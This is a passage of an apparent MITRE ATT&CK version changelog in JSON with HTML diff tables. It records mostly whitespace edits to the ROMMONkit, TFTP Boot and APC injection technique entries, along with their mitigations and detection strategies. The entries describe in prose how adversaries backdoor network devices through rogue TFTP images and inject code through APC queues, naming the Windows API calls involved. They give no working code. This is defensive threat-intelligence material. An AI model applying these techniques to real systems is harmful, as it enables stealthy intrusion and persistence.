nowrap=\"nowrap\">mage,&nbsp;or&nbsp;boot&nbsp;helper&nbsp;to&nbsp;initialize&nbsp;hardware&nbsp;and&nbsp;software&nbsp;whe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">age,&nbsp;or&nbsp;boot&nbsp;helper&nbsp;to&nbsp;initialize&nbsp;hardware&nbsp;and&nbsp;software&nbsp;when</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;the&nbsp;platform&nbsp;is&nbsp;powered&nbsp;on&nbsp;or&nbsp;reset.&nbsp;Similar&nbsp;to&nbsp;[TFTP&nbsp;Boot</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;platform&nbsp;is&nbsp;powered&nbsp;on&nbsp;or&nbsp;reset.&nbsp;Similar&nbsp;to&nbsp;[TFTP&nbsp;Boot]</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1542/005),&nbsp;an&nbsp;adversa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1542/005),&nbsp;an&nbsp;adversar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry&nbsp;may&nbsp;upgrade&nbsp;the&nbsp;ROMMON&nbsp;image&nbsp;locally&nbsp;or&nbsp;remotely&nbsp;(for&nbsp;exa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;may&nbsp;upgrade&nbsp;the&nbsp;ROMMON&nbsp;image&nbsp;locally&nbsp;or&nbsp;remotely&nbsp;(for&nbsp;exam</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mple,&nbsp;through&nbsp;TFTP)&nbsp;with&nbsp;adversary&nbsp;code&nbsp;and&nbsp;restart&nbsp;the&nbsp;devi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ple,&nbsp;through&nbsp;TFTP)&nbsp;with&nbsp;adversary&nbsp;code&nbsp;and&nbsp;restart&nbsp;the&nbsp;devic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce&nbsp;in&nbsp;order&nbsp;to&nbsp;overwrite&nbsp;the&nbsp;existing&nbsp;ROMMON&nbsp;image.&nbsp;This&nbsp;pro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;in&nbsp;order&nbsp;to&nbsp;overwrite&nbsp;the&nbsp;existing&nbsp;ROMMON&nbsp;image.&nbsp;This&nbsp;prov</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vides&nbsp;adversaries&nbsp;with&nbsp;the&nbsp;means&nbsp;to&nbsp;update&nbsp;the&nbsp;ROMMON&nbsp;to&nbsp;gai</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ides&nbsp;adversaries&nbsp;with&nbsp;the&nbsp;means&nbsp;to&nbsp;update&nbsp;the&nbsp;ROMMON&nbsp;to&nbsp;gain</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;persistence&nbsp;on&nbsp;a&nbsp;system&nbsp;in&nbsp;a&nbsp;way&nbsp;that&nbsp;may&nbsp;be&nbsp;difficult&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;persistence&nbsp;on&nbsp;a&nbsp;system&nbsp;in&nbsp;a&nbsp;way&nbsp;that&nbsp;may&nbsp;be&nbsp;difficult&nbsp;to&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">detect.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etect.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1031: Network Intrusion Prevention",
                            "M1046: Boot Integrity",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0175: Detection Strategy for T1542.004 Pre-OS Boot: ROMMONkit"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-20 00:06:56.180000+00:00",
                    "modified": "2026-11-04 00:49:34.998000+00:00",
                    "name": "TFTP Boot",
                    "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image.(Citation: Cisco Blog Legacy Device Attacks)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1542/005",
                            "external_id": "T1542.005"
                        },
                        {
                            "source_name": "Cisco Blog Legacy Device Attacks",
                            "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                            "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Network Devices"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:49:34.998000+00:00\", \"old_value\": \"2026-05-12 15:12:00.623000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\\n\\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image.(Citation: Cisco Blog Legacy Device Attacks)\", \"old_value\": \"Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\\n\\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\\n \\n-Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)\\n+Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image.(Citation: Cisco Blog Legacy Device Attacks)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to29__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to29__0\"><a href=\"#difflib_chg_to29__top\">t</a></td><td class=\"diff_header\" id=\"from29_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;netbooting&nbsp;to&nbsp;load&nbsp;an&nbsp;unauthorized&nbsp;net</td><td class=\"diff_next\"><a href=\"#difflib_chg_to29__top\">t</a></td><td class=\"diff_header\" id=\"to29_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;netbooting&nbsp;to&nbsp;load&nbsp;an&nbsp;unauthorized&nbsp;net</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">work&nbsp;device&nbsp;operating&nbsp;system&nbsp;from&nbsp;a&nbsp;Trivial&nbsp;File&nbsp;Transfer&nbsp;Pr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">work&nbsp;device&nbsp;operating&nbsp;system&nbsp;from&nbsp;a&nbsp;Trivial&nbsp;File&nbsp;Transfer&nbsp;Pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">otocol&nbsp;(TFTP)&nbsp;server.&nbsp;TFTP&nbsp;boot&nbsp;(netbooting)&nbsp;is&nbsp;commonly&nbsp;use</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">otocol&nbsp;(TFTP)&nbsp;server.&nbsp;TFTP&nbsp;boot&nbsp;(netbooting)&nbsp;is&nbsp;commonly&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;by&nbsp;network&nbsp;administrators&nbsp;to&nbsp;load&nbsp;configuration-controlled</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;by&nbsp;network&nbsp;administrators&nbsp;to&nbsp;load&nbsp;configuration-controlled</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;network&nbsp;device&nbsp;images&nbsp;from&nbsp;a&nbsp;centralized&nbsp;management&nbsp;server.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;network&nbsp;device&nbsp;images&nbsp;from&nbsp;a&nbsp;centralized&nbsp;management&nbsp;server.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Netbooting&nbsp;is&nbsp;one&nbsp;option&nbsp;in&nbsp;the&nbsp;boot&nbsp;sequence&nbsp;and&nbsp;can&nbsp;be&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Netbooting&nbsp;is&nbsp;one&nbsp;option&nbsp;in&nbsp;the&nbsp;boot&nbsp;sequence&nbsp;and&nbsp;can&nbsp;be&nbsp;us</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;to&nbsp;centralize,&nbsp;manage,&nbsp;and&nbsp;control&nbsp;device&nbsp;images.&nbsp;&nbsp;Advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;to&nbsp;centralize,&nbsp;manage,&nbsp;and&nbsp;control&nbsp;device&nbsp;images.&nbsp;&nbsp;Advers</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;may&nbsp;manipulate&nbsp;the&nbsp;configuration&nbsp;on&nbsp;the&nbsp;network&nbsp;device</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;may&nbsp;manipulate&nbsp;the&nbsp;configuration&nbsp;on&nbsp;the&nbsp;network&nbsp;device</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;specifying&nbsp;use&nbsp;of&nbsp;a&nbsp;malicious&nbsp;TFTP&nbsp;server,&nbsp;which&nbsp;may&nbsp;be&nbsp;use</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;specifying&nbsp;use&nbsp;of&nbsp;a&nbsp;malicious&nbsp;TFTP&nbsp;server,&nbsp;which&nbsp;may&nbsp;be&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;in&nbsp;conjunction&nbsp;with&nbsp;[Modify&nbsp;System&nbsp;Image](https://attack.m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;in&nbsp;conjunction&nbsp;with&nbsp;[Modify&nbsp;System&nbsp;Image](https://attack.m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1601)&nbsp;to&nbsp;load&nbsp;a&nbsp;modified&nbsp;image&nbsp;on&nbsp;devic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1601)&nbsp;to&nbsp;load&nbsp;a&nbsp;modified&nbsp;image&nbsp;on&nbsp;devic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;startup&nbsp;or&nbsp;reset.&nbsp;The&nbsp;unauthorized&nbsp;image&nbsp;allows&nbsp;adversarie</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;startup&nbsp;or&nbsp;reset.&nbsp;The&nbsp;unauthorized&nbsp;image&nbsp;allows&nbsp;adversarie</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;modify&nbsp;device&nbsp;configuration,&nbsp;add&nbsp;malicious&nbsp;capabilities</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;modify&nbsp;device&nbsp;configuration,&nbsp;add&nbsp;malicious&nbsp;capabilities</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;the&nbsp;device,&nbsp;and&nbsp;introduce&nbsp;backdoors&nbsp;to&nbsp;maintain&nbsp;control&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;the&nbsp;device,&nbsp;and&nbsp;introduce&nbsp;backdoors&nbsp;to&nbsp;maintain&nbsp;control&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;the&nbsp;network&nbsp;device&nbsp;while&nbsp;minimizing&nbsp;detection&nbsp;through&nbsp;use</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;the&nbsp;network&nbsp;device&nbsp;while&nbsp;minimizing&nbsp;detection&nbsp;through&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;a&nbsp;standard&nbsp;functionality.&nbsp;This&nbsp;technique&nbsp;is&nbsp;similar&nbsp;to&nbsp;[</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;a&nbsp;standard&nbsp;functionality.&nbsp;This&nbsp;technique&nbsp;is&nbsp;similar&nbsp;to&nbsp;[</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ROMMONkit](https://attack.mitre.org/techniques/T1542/004)&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ROMMONkit](https://attack.mitre.org/techniques/T1542/004)&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;may&nbsp;result&nbsp;in&nbsp;the&nbsp;network&nbsp;device&nbsp;running&nbsp;a&nbsp;modified&nbsp;image.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;may&nbsp;result&nbsp;in&nbsp;the&nbsp;network&nbsp;device&nbsp;running&nbsp;a&nbsp;modified&nbsp;image.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Cisco&nbsp;Blog&nbsp;Legacy&nbsp;Device&nbsp;Attacks)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;Cisco&nbsp;Blog&nbsp;Legacy&nbsp;Device&nbsp;Attacks)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1028: Operating System Configuration",
                            "M1031: Network Intrusion Prevention",
                            "M1035: Limit Access to Resource Over Network",
                            "M1046: Boot Integrity",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0582: Detection Strategy for T1542.005 Pre-OS Boot: TFTP Boot"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-14 01:29:43.786000+00:00",
                    "modified": "2026-11-04 03:31:46.649000+00:00",
                    "name": "Asynchronous Procedure Call",
                    "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue(Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC.(Citation: CyberBit Early Bird Apr 2018) AtomBombing(Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1055/004",
                            "external_id": "T1055.004"
                        },
                        {
                            "source_name": "CyberBit Early Bird Apr 2018",
                            "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.",
                            "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/"
                        },
                        {
                            "source_name": "ENSIL AtomBombing Oct 2016",
                            "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
                            "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows"
                        },
                        {
                            "source_name": "Microsoft Atom Table",
                            "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
                            "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx"
                        },
                        {
                            "source_name": "Microsoft APC",
                            "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
                            "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:31:46.649000+00:00\", \"old_value\": \"2026-05-12 15:12:00.644000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nAPC injection is commonly performed by attaching malicious code to the APC Queue(Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). \\n\\nA variation of APC injection, dubbed \\\"Early Bird injection\\\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC.(Citation: CyberBit Early Bird Apr 2018) AtomBombing(Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). \\n\\nA variation of APC injection, dubbed \\\"Early Bird injection\\\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). \\n+APC injection is commonly performed by attaching malicious code to the APC Queue(Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). \\n \\n-A variation of APC injection, dubbed \\\"Early Bird injection\\\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\\n+A variation of APC injection, dubbed \\\"Early Bird injection\\\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC.(Citation: CyberBit Early Bird Apr 2018) AtomBombing(Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\\n \\n Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to125__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to125__0\"><a href=\"#difflib_chg_to125__top\">t</a></td><td class=\"diff_header\" id=\"from125_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;malicious&nbsp;code&nbsp;into&nbsp;processes&nbsp;via&nbsp;the</td><td class=\"diff_next\"><a href=\"#difflib_chg_to125__top\">t</a></td><td class=\"diff_header\" id=\"to125_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;malicious&nbsp;code&nbsp;into&nbsp;processes&nbsp;via&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;asynchronous&nbsp;procedure&nbsp;call&nbsp;(APC)&nbsp;queue&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;asynchronous&nbsp;procedure&nbsp;call&nbsp;(APC)&nbsp;queue&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rocess-based&nbsp;defenses&nbsp;as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rocess-based&nbsp;defenses&nbsp;as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;APC&nbsp;injection&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;code&nbsp;in&nbsp;t</td><td 